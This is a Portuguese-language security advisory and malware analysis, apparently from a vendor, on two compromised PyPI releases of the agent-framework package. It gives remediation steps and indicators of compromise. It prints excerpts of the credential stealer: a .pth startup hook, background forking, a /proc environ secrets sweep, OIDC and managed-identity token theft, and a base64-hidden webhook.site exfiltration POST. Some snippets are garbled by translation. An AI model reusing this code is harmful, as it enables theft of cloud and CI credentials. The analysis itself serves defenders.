TL;DR:
estrutura de agentes 1.26.1 e 1.26.2, duas versões maliciosas do metapacote do Microsoft Agent Framework no PyPI, publicadas com um intervalo de 33 minutos a 17 de novembro de 2026, executam um programa de roubo de credenciais sempre que o Python é iniciado, visando o Azure, o Azure DevOps e o GitHub Actions secrets. Ambas foram removidas do PyPI. Fixar agent-framework==1.26.0 e atualizar todos os segredos em qualquer máquina que tenha instalado qualquer uma das versões.
Quem é afectado
Estás afetado se tiveres instalado estrutura de agentes 1.26.1 ou 1.26.2 entre as 20:35 UTC e aproximadamente as 21:20 UTC de 17 de novembro de 2026, seja diretamente ou através de um requisito pouco rigoroso como agent-framework>=1.26. A aplicação regista cerca de 190 000 downloads por mês, pelo que mesmo um período de 45 minutos acaba por fazer diferença.
É na CI que isto causa mais problemas. Uma compilação em pipeline ou no modo « container » que tenha sido executada numa instalação nova durante esse período executou o programa de roubo de dados com os recursos a que a tarefa tinha acesso. No Azure DevOps, isso significa que SYSTEM_ACCESSTOKEN e as ligações de serviço do pipeline. No GitHub Actions, a versão 1.26.2 procura o token OIDC em qualquer fluxo de trabalho com id-token: write podem solicitar. Os portáteis dos programadores e as máquinas virtuais do Azure com uma identidade gerida associada também estão expostos.
Detetar o problema com o Aikido Security
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Como corrigir
- Verifique junto de
pip show agent-framework, e procureagent_framework_meta.pthouaf_runtime_diag.pthno teusite-packagesdiretórios, incluindo caches de CI e imagens do container criadas desde 17 de novembro. - Fixar
agent-framework==1.26.0e reconstruir os ambientes afetados. - Trate todos os segredos a que a máquina possa ter acesso como se tivessem sido roubados. Isso inclui tokens de acesso pessoal e ligações de serviço do Azure DevOps, credenciais de entidades de serviço do Azure, tokens do GitHub, npm, PyPI e Hugging Face, credenciais do registo do Docker e tudo o que estiver em
.envarquivos. - Analise os registos de início de sessão do Entra ID relativos às entidades de serviço e às credenciais federadas utilizadas pelos seus pipelines e fluxos de trabalho.
- Procure nos registos do seu proxy e do DNS por ligações a
webhook[.]site.
A remoção do pacote impede execuções futuras, mas não anula nada do que já foi enviado.
Visão Geral
A 17 de novembro de 2026, a Microsoft estrutura de agentes Um pacote no PyPI foi comprometido. Às 20:35 UTC, surgiu a versão 1.26.1 com um programa de roubo de credenciais que é executado sempre que o Python é iniciado, independentemente de o pacote ser importado ou não, e que envia credenciais de serviços na nuvem e de integração contínua ( secrets ) para um URL do webhook.site. estrutura de agentes é o metapacote para Estrutura do Microsoft Agent, o SDK da Microsoft para Python destinado à criação de agentes de IA, pelo que as máquinas com maior probabilidade de o instalarem são aquelas que possuem credenciais do Azure que valem a pena roubar.
Desmontámos o sistema enquanto este ainda estava ativo. Em seguida, o atacante voltou a fazer o upload. Trinta e três minutos após o primeiro upload, a versão 1.26.2 já estava no PyPI e a 1.26.1 tinha desaparecido, substituída pelo mesmo programa de roubo de dados com um novo nome de ficheiro e um novo alvo no GitHub Actions. Às 21:20 UTC, ambas as versões tinham sido removidas e a 1.26.0 voltava a ser a versão mais recente.
A versão 1.26.1 parece ser uma atualização de rotina
O atacante limitou a primeira alteração a um pequeno ajuste. A versão 1.26.1 tem o mesmo ficheiro README e o mesmo agent-framework-core[all]==1.26.0 A versão 1.26.0, lançada cinco dias antes, pelo que um PR do bot de dependências a atualizar-lhe a versão pareceria apenas ruído de rotina. Ao comparar as duas versões, verificam-se dois ficheiros novos e um ficheiro editado.
agent_framework_meta.pth: não estava presente na versão 1.26.0, foi adicionado na versão 1.26.1agent_framework_meta/_telemetry.py: não estava presente na versão 1.26.0, foi adicionado na versão 1.26.1agent_framework_meta/__init__.py: 853 bytes na versão 1.26.0, 994 bytes na versão 1.26.1 com o carregador adicionado
A embalagem também revela o segredo. O canal de lançamento da Microsoft publica este pacote como um ficheiro «wheel» e uma distribuição de código-fonte (sdist), e os dois ficheiros da versão 1.26.0 foram publicados com um intervalo de 40 segundos. A versão 1.26.1 tem apenas um ficheiro «wheel». No seu interior, o RODA O ficheiro mantém o carimbo temporal provisório da compilação original, enquanto METADADOS, REGISTRO, e os ficheiros editados e adicionados têm todos a data de 17 de novembro. Os dois ficheiros inseridos também são graváveis por todos (rw-rw-rw-), ao contrário de tudo o resto no pacote. Isso encaixa-se no perfil de alguém que descompactou um «wheel» legítimo, o editou manualmente e carregou o ficheiro reempacotado com credenciais de publicação válidas. Ainda não se sabe como é que essa pessoa obteve essas credenciais.
Como é que o «stealer» consegue ser executado
O gancho .pth
Quando o Python é iniciado, o seu módulo do site lê cada .pth arquivo em site-packages. Estes ficheiros servem para adicionar diretórios ao caminho de importação, mas qualquer linha que comece por importar é executado. Os Wheels nunca executam código durante a instalação, pelo que, no caso de um wheel, um .pth O ficheiro é o que mais se assemelha a um npm postinstall hook, e, de certa forma, é ainda pior. É executado sempre que o interpretador é iniciado nesse ambiente, o que significa que o teu código nunca precisa de importar agent_framework De todo. Correr pytest ou pip isso, por si só, já basta.
O ficheiro na versão 1.26.1 tem apenas uma linha:
import agent_framework_metaEssa importação resulta em agent_framework_meta/__init__.py, onde o atacante acrescentou um carregador abaixo da verificação da versão legítima e o encapsulou de forma a que nunca pudesse gerar um erro:
# Hook leve para diagnóstico em tempo de execução.
try:
de . import _telemetria como _telemetry
_telemetry._start()
exceto Exceção:
passExecução em segundo plano
_start() garante que a carga útil seja executada uma vez por árvore de processos e nunca abrande o processo Python que a acionou:
def _start():
if os.environ.get("_AF_TEL"):
return
os.environ["_AF_TEL"] = "1"
tentar:
se hasattr(os, "fork"):
pid = os.fork()
se pid == 0:
try:
os.setsid()
exceto Exceção:
passar
_run()
os._exit(0)
return
exceto Exceção:
passar
try:
import threading
t = threading.Thread(target=_run)
t.daemon = True
t.start()
exceto Exceção:
passOs processos filhos herdam o _AF_TEL variável de ambiente, que impede que cada subprocesso criado pelo Python execute novamente o programa de roubo de dados. No Linux e no macOS, o programa cria um subprocesso e chama setsid(), pelo que o processo filho é separado numa sessão própria e continua a funcionar depois de o comando terminar. No Windows, onde não existe bifurcação, recorre-se a um thread de serviço.
O que o ladrão rouba
Variáveis de ambiente, incluindo as de outros processos'
O programa malicioso copia qualquer variável de ambiente cujo nome contenha uma das subcadeias de caracteres de uma longa lista, entre as quais TOKEN, SEGREDO, CHAVE, AZURE, AWS, GITHUB, HF_, OPENAI, FUNDIDORIA, SISTEMA, BUILD, PIP, NPM, e NUGET. Em seguida, diz o seguinte: /proc/<pid>/environ para um máximo de 300 processos em execução:
para e em glob.glob("/proc/[0-9]*/environ")[:300]:
try:
raw = open(e, "rb").read().decode("utf-8", "replace")
hits = []
para kv em raw.split("\x00"):
se any(x em kv.upper() para x em ("TOKEN","SECRET","PASSWORD",«KEY=»,"ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
hits.append(kv[:2000])Num executor de CI, isso acede a ` secrets `, que pertence ao próprio processo do agente de compilação, para além do que tenha sido passado à etapa Python.
Ficheiros de credenciais no disco
Reúne uma lista de locais conhecidos onde se encontram as credenciais e lê até 60 ficheiros correspondentes, com menos de 256 KB cada, incluindo:
- Estado da CLI do Azure em
~/.azure/*.json pip.conf,.npmrc,.netrc, e.git-credentials- Do Docker
config.json - Tokens do Hugging Face
- Agente do Azure DevOps
.credenciaisarquivos em_trabalhodiretórios evss-agentinstalações .enve ficheiros JSON em/appe/área de trabalho, as fontes habituais da aplicação « container »
Tokens do pipeline do Azure DevOps
Se a carga útil se encontrar dentro de um pipeline do Azure DevOps, tenta gerar um token OpenID Connect (OIDC):
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
try:
req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]Os pipelines que são implementados no Azure através da federação de identidades de cargas de trabalho não armazenam um segredo de cliente. O pipeline solicita um token OIDC de curta duração ao Azure DevOps e troca-o por um ID d Microsoft Entra , obtendo assim um token de acesso do Azure como entidade de serviço da ligação de serviço. Um token OIDC roubado permite que um atacante efetue essa mesma troca e atue com quaisquer direitos que a ligação de serviço possua. A solicitação, neste caso, não transmite um serviceConnectionId, pelo que esta etapa pode falhar, dependendo da configuração do pipeline. SYSTEM_ACCESSTOKEN já está definida pela variável de ambiente «sweep» e, por si só, dá acesso aos repositórios, artefactos e pipelines da organização.
Tokens de identidade geridos
Em seguida, solicita ao ponto de acesso de identidade local tokens de acesso a 12 recursos do Azure, entre os quais o Azure Resource Manager, o Microsoft Graph, o Key Vault, o Storage, os Cognitive Services, o Azure Machine Learning, o Azure AI Foundry, o Container Registry e o Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798). No App Service e no Functions, utiliza IDENTITY_ENDPOINT com o IDENTITY_HEADER secreto. Em todos os outros casos, recorre-se ao Serviço de Metadados de Instâncias do Azure (IMDS) em 169.254.169.254, que atribui tokens a qualquer processo numa VM à qual esteja associada uma identidade gerida. Além disso, obtém os metadados da instância da VM.
Enviar para casa
Tudo é enviado numa única solicitação POST. O destino é codificado em base64 na fonte para impedir que seja detetado por um grep casual:
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# descodifica para https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bbdef _post(tag, data):
try:
import urllib.request
u = base64.b64decode(_ENC).decode()
body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
urllib.request.urlopen(req, timeout=25).read()
except Exception:
passOs dados são serializados para JSON, comprimidos com zlib e codificados em base64, sendo depois enviados com um User-Agent de af-runtime-diagnostics/1 para manter a fachada da telemetria. O Webhook.site é um serviço gratuito de inspeção de pedidos, pelo que o atacante não precisou de qualquer infraestrutura própria. Este leu os dados roubados diretamente da página do token.
Trinta e três minutos depois, 1,26,2
Às 21:08 UTC, foi publicada a versão 1.26.2, mais uma vez como um «wheel» sem «sdist», e a versão 1.26.1 foi retirada do PyPI por volta da mesma altura. A nova versão parece ter sido criada por um atacante que esperava que alguém comparasse as diferenças agent_framework_meta para identificar o primeiro. __init__.py volta ao ficheiro limpo, idêntico ao da versão 1.26.0, ao nível do byte, e a carga útil foi transferida do diretório do pacote para um módulo de nível superior com um .pth ficheiro com o nome correspondente.
- Ganchinho inicial:
agent_framework_meta.pthna versão 1.26.1,af_runtime_diag.pthna versão 1.26.2 - Carga útil:
agent_framework_meta/_telemetry.pyna versão 1.26.1,af_runtime_diag.pyna versão 1.26.2 - Carregador: anexado a
agent_framework_meta/__init__.pyna versão 1.26.1,_start()chamada na parte inferior deaf_runtime_diag.pyna versão 1.26.2 - User-Agent:
af-runtime-diagnostics/1na versão 1.26.1,runtime-diagnostics/1na versão 1.26.2 - Limite do ficheiro de credenciais: 60 na versão 1.26.1, 80 na versão 1.26.2
- Roubo de credenciais OIDC no GitHub Actions: não na versão 1.26.1, sim na versão 1.26.2
O código de recolha e exfiltração é, de resto, o mesmo, até ao _ENC a string e o token do webhook.site. A verdadeira novidade é um bloco destinado ao GitHub Actions:
# GitHub Actions OIDC (Azure federated credential)
try:
u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
try:
sep = "&" if "?" in u else "?"
uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]Quando é concedido um fluxo de trabalho do GitHub Actions id-token: write, o corredor expõe ACTIONS_ID_TOKEN_REQUEST_URL e ACTIONS_ID_TOKEN_REQUEST_TOKEN para que o fluxo de trabalho possa solicitar um token OIDC. Os fluxos de trabalho que iniciam sessão no Azure com um token de troca de credenciais federadas através do Entra ID utilizam o mesmo método que o código do Azure DevOps procura explorar. Com o token em mãos, um atacante pode efetuar ele próprio a troca e agir como a identidade do fluxo de trabalho no Azure. A versão 1.26.2 também alargou o âmbito de aplicação, adicionando AÇÕES, OIDC, CORREDOR, e ARM_ à variável de ambiente «filter» e adicionando o runner alojado no GitHub _temp diretório e a pasta do Azure CLI à lista de ficheiros.
A quem se destina
A primeira versão destinava-se ao Azure DevOps e às cargas de trabalho alojadas no Azure. Meia hora depois, a segunda versão adicionou fluxos de trabalho do GitHub Actions que efetuam a implementação no Azure. Ambas as listas correspondem aos locais onde os utilizadores do Agent Framework executam o seu código, e a lista de recursos abrange os serviços de IA da Microsoft nos quais se baseiam, tais como o Azure AI Foundry e o Azure Machine Learning. Uma versão de correção com uma fixação de dependências inalterada é também o tipo de atualização que menos suspeitas suscita. Qualquer projeto com um requisito vago como agent-framework>=1.26 isso será tido em conta na próxima instalação, e Dependabot ou o Renovate terão todo o prazer em abrir o PR.
O .pth Este truque não é novidade. O ataque ao LiteLLM, em março de 2026, utilizou o mesmo gancho de arranque para executar a sua carga maliciosa sempre que o Python era iniciado, e os SDKs de IA continuam a ser alvos atraentes porque as máquinas que os instalam contêm credenciais de fornecedores de serviços na nuvem e de modelos. O Python ainda não dispõe de uma opção para desativar .pth a execução está desativada, pelo que o hook continua a ser executado muito tempo depois de já ninguém estar a consultar o registo de instalação.
A rápida divulgação de uma atualização de segurança também merece destaque. Um atacante que ainda tenha acesso de publicação pode substituir uma versão maliciosa por outra mais rapidamente do que a maioria das equipas consegue bloquear a primeira; por isso, uma correção que se baseie num único nome de ficheiro ou hash já se encontra desatualizada.
Indicadores de comprometimento
Indicadores de rede
- Endpoint de exfiltração:
https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry - User-Agent (1.26.1):
af-runtime-diagnostics/1 - User-Agent (1.26.2):
runtime-diagnostics/1
Indicadores do anfitrião
agent_framework_meta.pthouaf_runtime_diag.pthemsite-packagesaf_runtime_diag.pyao nível superior desite-packages- Variável de ambiente
_AF_TEL=1conjuntos nos processos do Python
Pacotes afetados
- agent-framework@1.26.1
- agent-framework@1.26.2
Hashes de ficheiros (SHA256), 1.26.1
agent_framework-1.26.1-py3-none-any.whl:d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110agent_framework_meta/_telemetry.py:39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663agent_framework_meta/__init__.py:c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02agent_framework_meta.pth:21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e
Hashes de ficheiros (SHA256), 1.26.2
agent_framework-1.26.2-py3-none-any.whl:3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9af_runtime_diag.py:54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1faf_runtime_diag.pth:325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93



